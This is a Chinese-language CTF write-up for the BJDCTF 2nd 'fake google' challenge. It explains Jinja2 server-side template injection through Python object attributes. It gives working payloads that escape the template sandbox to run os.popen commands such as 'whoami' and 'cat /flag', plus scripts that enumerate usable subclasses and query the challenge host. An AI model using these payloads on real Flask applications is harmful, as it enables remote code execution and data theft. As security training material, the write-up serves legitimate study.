[BJDCTF 2nd]fake google
知识点
- SSTI
- Jinja2
随便输入一点东西
查看源码
提示ssti注入
图片来自Flask/Jinja2 SSTI 学习
尝试{{7*'7'}}
回显 7777777,可知为jinja2模板
以下参考
[BJDCTF 2nd]fake google
SSTI模板注入
- __class__ 返回类型所属的对象
- __subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表,大致意思是返回所有子类
- __mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析,大致意思是返回所有的父类
- __init__ 类的初始化方法
- __globals__ 对包含函数全局变量的字典的引用
- __bases__ 返回该对象所继承的基类 __builtins__是作为默认初始模块
builtins指的是python的内置函数,如eval(),chr()等
().__class__.__bases__[0].__subclasses__() ---查看可用模块 ().__class__.base__.__subclasses__().index(warnings.catch_warnings) 可以查看当前位置,不过题目环境不能用。手动数吧= = 169位 {{().__class__.__bases__[0].__subclasses__()[169].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}} 发现可以执行,构造命令 {{''.__class__.__mro__[1].__subclasses__()[169].__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()")}}
#找可用的payload num = 0 for item in ''.__class__.__mro__[-1].__subclasses__(): #print item try: if item.__init__.__globals__.keys(): if '__builtins__' in item.__init__.__globals__.keys(): print(num,item,'__builtins__') if 'os' in item.__init__.__globals__.keys(): print(num,item,'os') if 'linecache' in item.__init__.__globals__.keys(): print(num,item,'linechache') num+=1 except: num+=1 ''' (58, <class 'warnings.WarningMessage'>, '__builtins__') (58, <class 'warnings.WarningMessage'>, 'linechache') (59, <class 'warnings.catch_warnings'>, '__builtins__') (59, <class 'warnings.catch_warnings'>, 'linechache') (60, <class '_weakrefset._IterationGuard'>, '__builtins__') (61, <class '_weakrefset.WeakSet'>, '__builtins__') (71, <class 'site._Printer'>, '__builtins__') (71, <class 'site._Printer'>, 'os') (76, <class 'site.Quitter'>, '__builtins__') (76, <class 'site.Quitter'>, 'os') (77, <class 'codecs.IncrementalEncoder'>, '__builtins__') (78, <class 'codecs.IncrementalDecoder'>, '__builtins__') '''
#!/usr/bin/python # -*- coding: UTF-8 -*- #version:python3 #查找warnings.catch_warnings所在的位置 import requests import re url = r"http://16bb93ec-7fe2-4241-96b3-8dd8d6f3e860.node3.buuoj.cn/qaq?name={{''.__class__.__bases__[0].__subclasses__()}}" r = requests.get(url) s = re.findall(r"class '(.*?)'>",r.text) print(s.index('warnings.catch_warnings')+1) #print(r.text)